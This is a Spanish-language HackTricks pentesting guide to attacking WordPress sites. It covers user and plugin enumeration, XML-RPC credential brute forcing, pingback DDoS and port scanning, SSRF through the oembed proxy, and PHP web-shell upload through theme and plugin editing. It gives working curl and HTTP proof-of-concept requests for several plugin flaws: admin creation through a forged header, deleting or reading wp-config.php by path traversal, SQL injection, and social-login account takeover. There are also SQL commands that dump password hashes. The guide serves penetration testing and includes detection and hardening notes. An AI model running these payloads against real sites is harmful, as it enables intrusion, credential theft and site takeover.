Wordpress

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Información básica

  • Los archivos Uploaded van a: http://10.10.10.10/wp-content/uploads/2018/08/a.txt

  • Los archivos de themes se pueden encontrar en /wp-content/themes/, así que si cambias algún php del theme para obtener RCE probablemente usarás esa ruta. Por ejemplo: Usando theme twentytwelve puedes acceder al archivo 404.php en: /wp-content/themes/twentytwelve/404.php

  • Otra url útil podría ser: /wp-content/themes/default/404.php

  • En wp-config.php puedes encontrar la contraseña root de la base de datos.

  • Rutas de login por defecto a comprobar: /wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/

Archivos principales de WordPress

  • index.php
  • license.txt contiene información útil como la versión de WordPress instalada.
  • wp-activate.php se usa para el proceso de activación por email al configurar un nuevo sitio WordPress.
  • Carpetas de login (pueden ser renombradas para ocultarlas):
  • /wp-admin/login.php
  • /wp-admin/wp-login.php
  • /login.php
  • /wp-login.php
  • xmlrpc.php es un archivo que representa una funcionalidad de WordPress que permite transmitir datos usando HTTP como mecanismo de transporte y XML como mecanismo de codificación. Este tipo de comunicación ha sido reemplazado por la WordPress REST API.
  • La carpeta wp-content es el directorio principal donde se almacenan plugins y themes.
  • wp-content/uploads/ es el directorio donde se almacenan los archivos subidos a la plataforma.
  • wp-includes/ es el directorio donde se guardan los archivos core, como certificados, fuentes, archivos JavaScript y widgets.
  • wp-sitemap.xml En versiones de WordPress 5.5 y superiores, WordPress genera un archivo sitemap XML con todas las publicaciones públicas y los tipos de posts y taxonomías públicamente consultables.

Post-explotación

  • El archivo wp-config.php contiene información necesaria para que WordPress se conecte a la base de datos como el nombre de la base de datos, host de la base de datos, usuario y contraseña, claves de autenticación y salts, y el prefijo de las tablas de la base de datos. Este archivo de configuración también puede usarse para activar el modo DEBUG, lo cual puede ser útil para troubleshooting.

Permisos de usuarios

  • Administrator
  • Editor: Publica y gestiona sus propios posts y los de otros
  • Author: Publica y gestiona sus propios posts
  • Contributor: Escribe y gestiona sus posts pero no puede publicarlos
  • Subscriber: Ver publicaciones y editar su perfil

Enumeración pasiva

Obtener versión de WordPress

Comprueba si puedes encontrar los archivos /license.txt o /readme.html

Dentro del código fuente de la página (ejemplo de https://wordpress.org/support/article/pages/):

  • grep
curl https://victim.com/ | grep 'content="WordPress'
  • meta name

  • Archivos CSS vinculados

  • Archivos JavaScript

Obtener plugins

curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

Obtener temas

curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

Extraer versiones en general

curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

Enumeración activa

Plugins y Temas

Probablemente no podrás encontrar todos los Plugins y Temas posibles. Para descubrirlos todos, necesitarás Brute Force activamente una lista de Plugins y Temas (con suerte hay herramientas automatizadas que contienen estas listas).

Usuarios

  • ID Brute: Obtienes usuarios válidos de un sitio WordPress haciendo Brute Forcing de los IDs de usuario:
curl -s -I -X GET http://blog.example.com/?author=1

Si las respuestas son 200 o 30X, eso significa que el id es válido. Si la respuesta es 400, entonces el id es inválido.

  • wp-json: También puedes intentar obtener información sobre los usuarios consultando:
curl http://blog.example.com/wp-json/wp/v2/users

Otro endpoint /wp-json/ que puede revelar alguna información sobre usuarios es:

curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL

Ten en cuenta que este endpoint solo expone usuarios que han publicado una entrada. Solo se proporcionará información sobre los usuarios que tengan esta función habilitada.

También ten en cuenta que /wp-json/wp/v2/pages could leak IP addresses.

  • Login username enumeration: Al iniciar sesión en /wp-login.php el mensaje es diferente según indique si el nombre de usuario existe o no.

XML-RPC

Si xml-rpc.php está activo puedes realizar un brute-force de credenciales o usarlo para lanzar ataques DoS a otros recursos. (Puedes automatizar este proceso using this, por ejemplo).

Para ver si está activo intenta acceder a /xmlrpc.php y enviar esta solicitud:

Comprobar

<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>

Credentials Bruteforce

wp.getUserBlogs, wp.getCategories o metaWeblog.getUsersBlogs son algunos de los métodos que se pueden usar para brute-force credentials. Si puedes encontrar cualquiera de ellos puedes enviar algo como:

<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>pass</value></param>
</params>
</methodCall>

El mensaje “Incorrect username or password” dentro de una respuesta 200 debería aparecer si las credentials no son válidas.

Con las credentials correctas puedes subir un archivo. En la respuesta aparecerá la ruta (https://gist.github.com/georgestephanis/5681982)

<?xml version='1.0' encoding='utf-8'?>
<methodCall>
<methodName>wp.uploadFile</methodName>
<params>
<param><value><string>1</string></value></param>
<param><value><string>username</string></value></param>
<param><value><string>password</string></value></param>
<param>
<value>
<struct>
<member>
<name>name</name>
<value><string>filename.jpg</string></value>
</member>
<member>
<name>type</name>
<value><string>mime/type</string></value>
</member>
<member>
<name>bits</name>
<value><base64><![CDATA[---base64-encoded-data---]]></base64></value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>

También hay una forma más rápida de brute-force credenciales usando system.multicall ya que puedes probar varias credenciales en la misma petición:

Bypass 2FA

Este método está pensado para programas y no para humanos, y es antiguo, por lo que no soporta 2FA. Así que, si tienes creds válidos pero la entrada principal está protegida por 2FA, podrías abusar de xmlrpc.php para hacer login con esos creds eludiendo 2FA. Ten en cuenta que no podrás realizar todas las acciones que puedes hacer desde la consola, pero aún podrías llegar a RCE como Ippsec lo explica en https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s

DDoS or port scanning

Si encuentras el método pingback.ping dentro de la lista puedes hacer que Wordpress envíe una solicitud arbitraria a cualquier host/puerto.
Esto puede usarse para pedir a miles de Wordpress sitios que accedan a una ubicación (causando así un DDoS en ese destino) o puedes usarlo para hacer que Wordpress escanee alguna red interna (puedes indicar cualquier puerto).

<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>http://<YOUR SERVER >:<port></string></value>
</param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
</value></param></params>
</methodCall>

Si obtienes faultCode con un valor mayor que 0 (17), significa que el puerto está abierto.

Fíjate en el uso de system.multicall en la sección anterior para aprender cómo abusar de este método y provocar DDoS.

DDoS

<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://target/</string></value></param>
<param><value><string>http://yoursite.com/and_some_valid_blog_post_url</string></value></param>
</params>
</methodCall>

wp-cron.php DoS

This file usually exists under the root of the Wordpress site: /wp-cron.php
Cuando este archivo es accedido se realiza una consulta MySQL “heavy”, por lo que podría ser usado por atacantes para causar un DoS.
Además, por defecto, el wp-cron.php se llama en cada carga de página (cada vez que un cliente solicita cualquier página de Worpress), lo que en sitios de alto tráfico puede causar problemas (DoS).

Se recomienda desactivar Wp-Cron y crear un cronjob real en el host que ejecute las acciones necesarias a intervalos regulares (sin causar problemas).

/wp-json/oembed/1.0/proxy - SSRF

Intenta acceder a https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net y el Worpress site puede realizar una petición hacia ti.

This is the response when it doesn’t work:

SSRF

https://github.com/t0gu/quickpress/blob/master/core/requests.go

Esta herramienta comprueba si existe methodName: pingback.ping y el path /wp-json/oembed/1.0/proxy, y si existen, intenta explotarlos.

Herramientas automáticas

cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"

Obtener acceso sobrescribiendo un bit

Más que un ataque real, esto es una curiosidad. En el CTF https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man podías voltear 1 bit de cualquier archivo de wordpress. Así que podías voltear la posición 5389 del archivo /var/www/html/wp-includes/user.php para convertir en NOP la operación NOT (!).

if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(

Panel RCE

Modificando un php del theme usado (se necesitan credenciales de administrador)

Apariencia → Editor de temas → Plantilla 404 (a la derecha)

Cambia el contenido por un php shell:

Busca en internet cómo puedes acceder a esa página actualizada. En este caso debes acceder aquí: http://10.11.1.234/wp-content/themes/twentytwelve/404.php

MSF

Puedes usar:

use exploit/unix/webapp/wp_admin_shell_upload

to get a session.

Plugin RCE

PHP plugin

It may be possible to upload .php files as a plugin.
Create your php backdoor using for example:

Then add a new plugin:

Upload plugin and press Install Now:

Click on Procced:

Probably this won’t do anything apparently, but if you go to Media, you will see your shell uploaded:

Access it and you will see the URL to execute the reverse shell:

Subida y activación de un plugin malicioso

This method involves the installation of a malicious plugin known to be vulnerable and can be exploited to obtain a web shell. This process is carried out through the WordPress dashboard as follows:

  1. Plugin Acquisition: The plugin is obtained from a source like Exploit DB like here.
  2. Plugin Installation:
  • Navigate to the WordPress dashboard, then go to Dashboard > Plugins > Upload Plugin.
  • Upload the zip file of the downloaded plugin.
  1. Plugin Activation: Once the plugin is successfully installed, it must be activated through the dashboard.
  2. Exploitation:
  • With the plugin “reflex-gallery” installed and activated, it can be exploited as it is known to be vulnerable.
  • The Metasploit framework provides an exploit for this vulnerability. By loading the appropriate module and executing specific commands, a meterpreter session can be established, granting unauthorized access to the site.
  • It’s noted that this is just one of the many methods to exploit a WordPress site.

El contenido incluye ayudas visuales que muestran los pasos en el dashboard de WordPress para instalar y activar el plugin. Sin embargo, es importante notar que explotar vulnerabilidades de esta manera es ilegal y poco ético sin la debida autorización. Esta información debe usarse de forma responsable y solo en un contexto legal, como penetration testing con permiso explícito.

For more detailed steps check: https://www.hackingarticles.in/wordpress-reverse-shell/

From XSS to RCE

  • WPXStrike: WPXStrike is a script designed to escalate a Cross-Site Scripting (XSS) vulnerability to Remote Code Execution (RCE) or other’s criticals vulnerabilities in WordPress. For more info check this post. It provides support for Wordpress Versions 6.X.X, 5.X.X and 4.X.X. and allows to:
  • Privilege Escalation: Crea un usuario en WordPress.
  • (RCE) Custom Plugin (backdoor) Upload: Sube tu plugin personalizado (backdoor) a WordPress.
  • (RCE) Built-In Plugin Edit: Edita un Built-In Plugin en WordPress.
  • (RCE) Built-In Theme Edit: Edita un Built-In Theme en WordPress.
  • (Custom) Custom Exploits: Exploits personalizados para plugins/temas de terceros de WordPress.

Post Exploitation

Extraer nombres de usuario y contraseñas:

mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"

Cambiar la contraseña del admin:

mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"

Wordpress Plugins Pentest

Superficie de ataque

Saber cómo un plugin de Wordpress puede exponer funcionalidad es clave para encontrar vulnerabilidades en esa funcionalidad. Puedes ver cómo un plugin puede exponer funcionalidad en los siguientes puntos y algunos ejemplos de plugins vulnerables en esta entrada del blog.

  • wp_ajax

Una de las formas en que un plugin puede exponer funciones a los usuarios es mediante manejadores AJAX. Éstas pueden contener bugs de lógica, autorización o autenticación. Además, es bastante frecuente que estas funciones basen tanto la autenticación como la autorización en la existencia de un Wordpress nonce que cualquier usuario autenticado en la instancia de Wordpress podría tener (independientemente de su rol).

Estas son las funciones que pueden usarse para exponer una función en un plugin:

add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));

El uso de nopriv hace que el endpoint sea accesible por cualquier usuario (incluso por usuarios no autenticados).

Caution

Además, si la función solo está comprobando la autorización del usuario con la función wp_verify_nonce, esta función solo verifica que el usuario ha iniciado sesión; normalmente no comprueba el rol del usuario. Por lo tanto, usuarios con pocos privilegios podrían tener acceso a acciones de alto privilegio.

  • REST API

También es posible exponer funciones de wordpress registrando una REST API usando la función register_rest_route:

register_rest_route(
$this->namespace, '/get/', array(
'methods' => WP_REST_Server::READABLE,
'callback' => array($this, 'getData'),
'permission_callback' => '__return_true'
)
);

El permission_callback es una callback que comprueba si un usuario dado está autorizado para llamar al método de la API.

Si se usa la función integrada __return_true, simplemente omitirá la comprobación de permisos de usuario.

  • Acceso directo al archivo php

Por supuesto, Wordpress usa PHP y los archivos dentro de plugins son accesibles directamente desde la web. Por lo tanto, si un plugin expone alguna funcionalidad vulnerable que se activa simplemente accediendo al archivo, será explotable por cualquier usuario.

Trusted-header REST impersonation (WooCommerce Payments ≤ 5.6.1)

Algunos plugins implementan atajos de “trusted header” para integraciones internas o reverse proxies y luego usan ese header para establecer el contexto de usuario actual en las peticiones REST. Si el header no está vinculado criptográficamente a la petición por un componente upstream, un atacante puede falsificarlo y acceder a rutas REST privilegiadas como administrador.

  • Impacto: unauthenticated privilege escalation to admin by creating a new administrator via the core users REST route.
  • Example header: X-Wcpay-Platform-Checkout-User: 1 (fuerza el user ID 1, típicamente la primera cuenta de administrador).
  • Ruta explotada: POST /wp-json/wp/v2/users con un array de roles elevado.

PoC

POST /wp-json/wp/v2/users HTTP/1.1
Host: <WP HOST>
User-Agent: Mozilla/5.0
Accept: application/json
Content-Type: application/json
X-Wcpay-Platform-Checkout-User: 1
Content-Length: 114

{"username": "honeypot", "email": "wafdemo@patch.stack", "password": "demo", "roles": ["administrator"]}

Por qué funciona

  • El plugin asigna un header controlado por el cliente al estado de autenticación y omite las verificaciones de permisos.
  • El núcleo de WordPress espera la capability create_users para esta ruta; el hack del plugin la evita estableciendo directamente el contexto del usuario actual desde el header.

Indicadores de éxito esperados

  • HTTP 201 con un cuerpo JSON que describe el usuario creado.
  • Un nuevo usuario administrador visible en wp-admin/users.php.

Lista de verificación de detección

  • Hacer grep de getallheaders(), $_SERVER['HTTP_...'], o SDKs de proveedores que leen headers personalizados para establecer el contexto de usuario (p. ej., wp_set_current_user(), wp_set_auth_cookie()).
  • Revisar los registros de REST en busca de callbacks privilegiados que carezcan de comprobaciones robustas de permission_callback y que en su lugar dependan de los headers de la petición.
  • Buscar usos de funciones centrales de gestión de usuarios (wp_insert_user, wp_create_user) dentro de handlers REST que estén protegidos únicamente por valores de headers.

Unauthenticated Arbitrary File Deletion via wp_ajax_nopriv (Litho Theme <= 3.0)

WordPress themes and plugins frequently expose AJAX handlers through the wp_ajax_ and wp_ajax_nopriv_ hooks. When the nopriv variant is used the callback becomes reachable by unauthenticated visitors, so any sensitive action must additionally implement:

  1. Una comprobación de permisos (p. ej. current_user_can() o al menos is_user_logged_in()), y
  2. Un nonce CSRF validado con check_ajax_referer() / wp_verify_nonce(), y
  3. Saneamiento / validación estricta de la entrada.

El tema multipropósito Litho (< 3.1) olvidó esos 3 controles en la Remove Font Family feature y terminó distribuyendo el siguiente código (simplificado):

function litho_remove_font_family_action_data() {
if ( empty( $_POST['fontfamily'] ) ) {
return;
}
$fontfamily = str_replace( ' ', '-', $_POST['fontfamily'] );
$upload_dir = wp_upload_dir();
$srcdir  = untrailingslashit( wp_normalize_path( $upload_dir['basedir'] ) ) . '/litho-fonts/' . $fontfamily;
$filesystem = Litho_filesystem::init_filesystem();

if ( file_exists( $srcdir ) ) {
$filesystem->delete( $srcdir, FS_CHMOD_DIR );
}
die();
}
add_action( 'wp_ajax_litho_remove_font_family_action_data',        'litho_remove_font_family_action_data' );
add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );

Problemas introducidos por este fragmento:

  • Acceso no autenticado – el hook wp_ajax_nopriv_ está registrado.
  • Sin verificación de nonce / capacidades – cualquier visitante puede acceder al endpoint.
  • Sin sanitización de la ruta – la cadena controlada por el usuario fontfamily se concatena a una ruta del sistema de archivos sin filtrado, permitiendo el clásico ../../ traversal.

Explotación

Un atacante puede eliminar cualquier archivo o directorio por debajo del directorio base de uploads (normalmente <wp-root>/wp-content/uploads/) enviando una única solicitud HTTP POST:

curl -X POST https://victim.com/wp-admin/admin-ajax.php \
-d 'action=litho_remove_font_family_action_data' \
-d 'fontfamily=../../../../wp-config.php'

Because wp-config.php lives outside uploads, four ../ sequences are enough on a default installation. Deleting wp-config.php forces WordPress into the installation wizard on the next visit, enabling a full site take-over (the attacker merely supplies a new DB configuration and creates an admin user).

Other impactful targets include plugin/theme .php files (to break security plugins) or .htaccess rules.

Lista de verificación de detección

  • Any add_action( 'wp_ajax_nopriv_...') callback that calls filesystem helpers (copy(), unlink(), $wp_filesystem->delete(), etc.).
  • Concatenation of unsanitised user input into paths (look for $_POST, $_GET, $_REQUEST).
  • Absence of check_ajax_referer() and current_user_can()/is_user_logged_in().

Escalada de privilegios mediante restauración de roles obsoletos y autorización ausente (ASE “View Admin as Role”)

Many plugins implement a “view as role” or temporary role-switching feature by saving the original role(s) in user meta so they can be restored later. If the restoration path relies only on request parameters (e.g., $_REQUEST['reset-for']) and a plugin-maintained list without checking capabilities and a valid nonce, this becomes a vertical privilege escalation.

A real-world example was found in the Admin and Site Enhancements (ASE) plugin (≤ 7.6.2.1). The reset branch restored roles based on reset-for=<username> if the username appeared in an internal array $options['viewing_admin_as_role_are'], but performed neither a current_user_can() check nor a nonce verification before removing current roles and re-adding the saved roles from user meta _asenha_view_admin_as_original_roles:

// Simplified vulnerable pattern
if ( isset( $_REQUEST['reset-for'] ) ) {
$reset_for_username = sanitize_text_field( $_REQUEST['reset-for'] );
$usernames = get_option( ASENHA_SLUG_U, [] )['viewing_admin_as_role_are'] ?? [];

if ( in_array( $reset_for_username, $usernames, true ) ) {
$u = get_user_by( 'login', $reset_for_username );
foreach ( $u->roles as $role ) { $u->remove_role( $role ); }
$orig = (array) get_user_meta( $u->ID, '_asenha_view_admin_as_original_roles', true );
foreach ( $orig as $r ) { $u->add_role( $r ); }
}
}

Por qué es explotable

  • Confía en $_REQUEST['reset-for'] y en una opción del plugin sin autorización del lado del servidor.
  • Si un usuario tenía previamente privilegios superiores guardados en _asenha_view_admin_as_original_roles y fue degradado, puede restaurarlos accediendo a la ruta de reset.
  • En algunas implementaciones, cualquier usuario autenticado podría desencadenar un reset para otro nombre de usuario aún presente en viewing_admin_as_role_are (autorización rota).

Explotación (ejemplo)

# While logged in as the downgraded user (or any auth user able to trigger the code path),
# hit any route that executes the role-switcher logic and include the reset parameter.
# The plugin uses $_REQUEST, so GET or POST works. The exact route depends on the plugin hooks.
curl -s -k -b 'wordpress_logged_in=...' \
'https://victim.example/wp-admin/?reset-for=<your_username>'

En builds vulnerables esto elimina los roles actuales y vuelve a añadir los roles originales guardados (p. ej., administrator), lo que efectivamente permite escalar privilegios.

Detection checklist

  • Busca características de cambio de rol que persistan los “roles originales” en user meta (p. ej., _asenha_view_admin_as_original_roles).
  • Identifica rutas de reset/restore que:
  • Leen nombres de usuario desde $_REQUEST / $_GET / $_POST.
  • Modifican roles mediante add_role() / remove_role() sin usar current_user_can() y wp_verify_nonce() / check_admin_referer().
  • Autorizan basándose en una opción de plugin en forma de array (p. ej., viewing_admin_as_role_are) en lugar de en las capacidades del actor.

Algunos plugins enlazan helpers de cambio de usuario al hook público init y derivan la identidad de una cookie controlada por el cliente. Si el código llama a wp_set_auth_cookie() sin verificar la autenticación, las capacidades y un nonce válido, cualquier visitante no autenticado puede forzar el login como un ID de usuario arbitrario.

Typical vulnerable pattern (simplified from Service Finder Bookings ≤ 6.1):

function service_finder_submit_user_form(){
if ( isset($_GET['switch_user']) && is_numeric($_GET['switch_user']) ) {
$user_id = intval( sanitize_text_field($_GET['switch_user']) );
service_finder_switch_user($user_id);
}
if ( isset($_GET['switch_back']) ) {
service_finder_switch_back();
}
}
add_action('init', 'service_finder_submit_user_form');

function service_finder_switch_back() {
if ( isset($_COOKIE['original_user_id']) ) {
$uid = intval($_COOKIE['original_user_id']);
if ( get_userdata($uid) ) {
wp_set_current_user($uid);
wp_set_auth_cookie($uid);  // 🔥 sets auth for attacker-chosen UID
do_action('wp_login', get_userdata($uid)->user_login, get_userdata($uid));
setcookie('original_user_id', '', time() - 3600, '/');
wp_redirect( admin_url('admin.php?page=candidates') );
exit;
}
wp_die('Original user not found.');
}
wp_die('No original user found to switch back to.');
}

Por qué es explotable

  • El hook público init hace que el handler sea accesible para usuarios no autenticados (no is_user_logged_in() guard).
  • La identidad se deriva de una cookie modificable por el cliente (original_user_id).
  • La llamada directa a wp_set_auth_cookie($uid) autentica al solicitante como ese usuario sin comprobaciones de capability/nonce.

Explotación (no autenticado)

GET /?switch_back=1 HTTP/1.1
Host: victim.example
Cookie: original_user_id=1
User-Agent: PoC
Connection: close

WAF considerations for WordPress/plugin CVEs

Los WAFs genéricos de borde/servidor están ajustados para patrones amplios (SQLi, XSS, LFI). Muchas vulnerabilidades de alto impacto en WordPress/plugins son fallos de lógica/auth específicos de la aplicación que parecen tráfico benigno a menos que el motor entienda las rutas de WordPress y la semántica de los plugins.

Offensive notes

  • Target plugin-specific endpoints with clean payloads: admin-ajax.php?action=..., wp-json/<namespace>/<route>, custom file handlers, shortcodes.
  • Exercise unauth paths first (AJAX nopriv, REST with permissive permission_callback, public shortcodes). Default payloads often succeed without obfuscation.
  • Typical high-impact cases: privilege escalation (broken access control), arbitrary file upload/download, LFI, open redirect.

Defensive notes

  • Don’t rely on generic WAF signatures to protect plugin CVEs. Implement application-layer, vulnerability-specific virtual patches or update quickly.
  • Prefer positive-security checks in code (capabilities, nonces, strict input validation) over negative regex filters.

WordPress Protection

Regular Updates

Asegúrate de que WordPress, plugins y themes estén actualizados. También confirma que la actualización automática esté habilitada en wp-config.php:

define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );

Además, instala únicamente plugins y temas de WordPress confiables.

Plugins de seguridad

Otras recomendaciones

  • Elimina el usuario predeterminado admin
  • Usa contraseñas fuertes y 2FA
  • Revisa periódicamente los permisos de los usuarios
  • Limita los intentos de inicio de sesión para prevenir ataques Brute Force
  • Renombra el archivo wp-admin.php y permite el acceso solo internamente o desde ciertas direcciones IP.

Inyección SQL no autenticada por validación insuficiente (WP Job Portal <= 2.3.2)

El plugin de reclutamiento WP Job Portal exponía una tarea savecategory que finalmente ejecuta el siguiente código vulnerable dentro de modules/category/model.php::validateFormData():

$category  = WPJOBPORTALrequest::getVar('parentid');
$inquery   = ' ';
if ($category) {
$inquery .= " WHERE parentid = $category ";   // <-- direct concat ✗
}
$query  = "SELECT max(ordering)+1 AS maxordering FROM "
. wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later

Problemas introducidos por este snippet:

  1. Unsanitised user inputparentid comes straight from the HTTP request.
  2. String concatenation inside the WHERE clause – no is_numeric() / esc_sql() / prepared statement.
  3. Unauthenticated reachability – although the action is executed through admin-post.php, the only check in place is a CSRF nonce (wp_verify_nonce()), which any visitor can retrieve from a public page embedding the shortcode [wpjobportal_my_resumes].

Explotación

  1. Obtén un nonce fresco:
curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4
  1. Inyecta SQL arbitrario abusando de parentid:
curl -X POST https://victim.com/wp-admin/admin-post.php \
-d 'task=savecategory' \
-d '_wpnonce=<nonce>' \
-d 'parentid=0 OR 1=1-- -' \
-d 'cat_title=pwn' -d 'id='

La respuesta revela el resultado de la consulta inyectada o altera la base de datos, demostrando SQLi.

Unauthenticated Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2)

Otra tarea, downloadcustomfile, permitía a los visitantes descargar any file on disk mediante path traversal. El sink vulnerable está ubicado en modules/customfield/model.php::downloadCustomUploadedFile():

$file = $path . '/' . $file_name;
...
echo $wp_filesystem->get_contents($file); // raw file output

$file_name está controlado por el atacante y se concatena sin sanitización. Nuevamente, la única barrera es un CSRF nonce que puede obtenerse desde la resume page.

Exploitation

curl -G https://victim.com/wp-admin/admin-post.php \
--data-urlencode 'task=downloadcustomfile' \
--data-urlencode '_wpnonce=<nonce>' \
--data-urlencode 'upload_for=resume' \
--data-urlencode 'entity_id=1' \
--data-urlencode 'file_name=../../../wp-config.php'

El servidor responde con el contenido de wp-config.php, leaking DB credentials and auth keys.

Toma de control de cuenta no autenticada vía Social Login AJAX fallback (Jobmonster Theme <= 4.7.9)

Muchos themes/plugins incluyen helpers de “social login” expuestos vía admin-ajax.php. Si una acción AJAX no autenticada (wp_ajax_nopriv_…) confía en identificadores proporcionados por el cliente cuando faltan los datos del proveedor y luego llama a wp_set_auth_cookie(), esto se convierte en un full authentication bypass.

Patrón típico defectuoso (simplificado)

public function check_login() {
// ... request parsing ...
switch ($_POST['using']) {
case 'fb':     /* set $user_email from verified Facebook token */ break;
case 'google': /* set $user_email from verified Google token   */ break;
// other providers ...
default: /* unsupported/missing provider – execution continues */ break;
}

// FALLBACK: trust POSTed "id" as email if provider data missing
$user_email = !empty($user_email)
? $user_email
: (!empty($_POST['id']) ? esc_attr($_POST['id']) : '');

if (empty($user_email)) {
wp_send_json(['status' => 'not_user']);
}

$user = get_user_by('email', $user_email);
if ($user) {
wp_set_auth_cookie($user->ID, true); // 🔥 logs requester in as that user
wp_send_json(['status' => 'success', 'message' => 'Login successfully.']);
}
wp_send_json(['status' => 'not_user']);
}
// add_action('wp_ajax_nopriv_<social_login_action>', [$this, 'check_login']);

Por qué es explotable

  • Alcanzable sin autenticación vía admin-ajax.php (acción wp_ajax_nopriv_…).
  • No hay comprobaciones de nonce/capability antes del cambio de estado.
  • Falta verificación del provider OAuth/OpenID; la rama por defecto acepta la entrada del atacante.
  • get_user_by(‘email’, $_POST[‘id’]) seguido de wp_set_auth_cookie($uid) autentica al solicitante como cualquier dirección de email existente.

Explotación (sin autenticación)

  • Requisitos previos: el atacante puede acceder a /wp-admin/admin-ajax.php y conoce/adivina un email de usuario válido.
  • Establece el provider a un valor no soportado (o omítelo) para alcanzar la rama por defecto y pasar id=<victim_email>.
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: victim.tld
Content-Type: application/x-www-form-urlencoded

action=<vulnerable_social_login_action>&using=bogus&id=admin%40example.com
curl -i -s -X POST https://victim.tld/wp-admin/admin-ajax.php \
-d "action=<vulnerable_social_login_action>&using=bogus&id=admin%40example.com"

Expected success indicators

  • HTTP 200 with JSON body like {“status”:“success”,“message”:“Login successfully.”}.
  • Set-Cookie: wordpress_logged_in_* for the victim user; subsequent requests are authenticated.

Finding the action name

  • Inspect the theme/plugin for add_action(‘wp_ajax_nopriv_…’, ‘…’) registrations in social login code (e.g., framework/add-ons/social-login/class-social-login.php).
  • Grep for wp_set_auth_cookie(), get_user_by(‘email’, …) inside AJAX handlers.

Detection checklist

  • Web logs showing unauthenticated POSTs to /wp-admin/admin-ajax.php with the social-login action and id=.
  • 200 responses with the success JSON immediately preceding authenticated traffic from the same IP/User-Agent.

Hardening

  • Do not derive identity from client input. Only accept emails/IDs originating from a validated provider token/ID.
  • Require CSRF nonces and capability checks even for login helpers; avoid registering wp_ajax_nopriv_ unless strictly necessary.
  • Validate and verify OAuth/OIDC responses server-side; reject missing/invalid providers (no fallback to POST id).
  • Consider temporarily disabling social login or virtually patching at the edge (block the vulnerable action) until fixed.

Patched behaviour (Jobmonster 4.8.0)

  • Removed the insecure fallback from $_POST[‘id’]; $user_email must originate from verified provider branches in switch($_POST[‘using’]).

Unauthenticated privilege escalation via REST token/key minting on predictable identity (OttoKit/SureTriggers ≤ 1.0.82)

Some plugins expose REST endpoints that mint reusable “connection keys” or tokens without verifying the caller’s capabilities. If the route authenticates only on a guessable attribute (e.g., username) and does not bind the key to a user/session with capability checks, any unauthenticated attacker can mint a key and invoke privileged actions (admin account creation, plugin actions → RCE).

  • Vulnerable route (example): sure-triggers/v1/connection/create-wp-connection
  • Flaw: accepts a username, issues a connection key without current_user_can() or a strict permission_callback
  • Impact: full takeover by chaining the minted key to internal privileged actions

PoC – mint a connection key and use it

# 1) Obtain key (unauthenticated). Exact payload varies per plugin
curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/connection/create-wp-connection" \
-H 'Content-Type: application/json' \
--data '{"username":"admin"}'
# → {"key":"<conn_key>", ...}

# 2) Call privileged plugin action using the minted key (namespace/route vary per plugin)
curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/users" \
-H 'Content-Type: application/json' \
-H 'X-Connection-Key: <conn_key>' \
--data '{"username":"pwn","email":"p@t.ld","password":"p@ss","role":"administrator"}'

Por qué es explotable

  • Ruta REST sensible protegida solo por una prueba de identidad de baja entropía (nombre de usuario/correo electrónico) o por ausencia de permission_callback
  • No hay enforcement de capability; la key mintada se acepta como un bypass universal

Lista de comprobación de detección

  • Buscar en el código del plugin register_rest_route(…, [ ‘permission_callback’ => ‘__return_true’ ])
  • Cualquier ruta que emita tokens/keys basados en una identidad suministrada en la petición (nombre de usuario/correo electrónico) sin vincularla a un usuario autenticado o a una capability
  • Buscar rutas posteriores que acepten el token/key generado sin comprobaciones de capability en el servidor

Endurecimiento

  • Para cualquier ruta REST privilegiada: requerir permission_callback que haga cumplir current_user_can() para la capability requerida
